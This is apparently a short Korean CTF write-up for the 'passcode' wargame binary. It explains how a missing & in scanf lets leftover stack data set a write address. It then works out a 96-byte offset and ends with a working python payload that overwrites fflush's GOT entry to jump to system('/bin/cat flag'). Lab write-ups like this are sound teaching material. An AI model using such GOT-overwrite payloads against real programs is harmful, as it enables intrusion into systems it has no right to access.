passcode1입력하니까 ...ㅠ
이게 코드고 welcome 갔다가 login을 간다.
좀 이상한건 login부분에 scanf가 scanf("%d",passcode); 이다. &passcode가 아니라...
저렇게하면 입력된게 저 주소로 들어가버린다.
뭔가... login에 system 함수를 가져오고싶은데...ㅠ
welcome 입력부분은 0x70, login 첫번째 입력부분은 0x10, 두번째입력부분은 0xc
이걸 이용하면 된다.
fflush(stdin)함수와...
fflush got에 system("/bin/cat flag")를 덮어쓰자.
앞엔 0x70-0x10 = 112-16 = 96
payload = "A"*96 + fflush_got + system("/bin/cat flag") 가 시작되는 주소!
fflush의 got주소는 이런식으로 구할 수 있다고 한다.
이 fflush 호출을 보고
fflush@got.plt 이렇게 보이는게 바로 got이다.
이게 바로 system 부분이고, 0x080485e3을 이용하면 된다. 근데 0x080485e3을 10진수로 바꾸어줘야한다.
왜냐하면 scanf("%d", 이기 떄문!!
0x080485e3 = 134514147
python -c 'print"A"*96+"\x04\xa0\x04\x08"+"134514147"' | ./passcode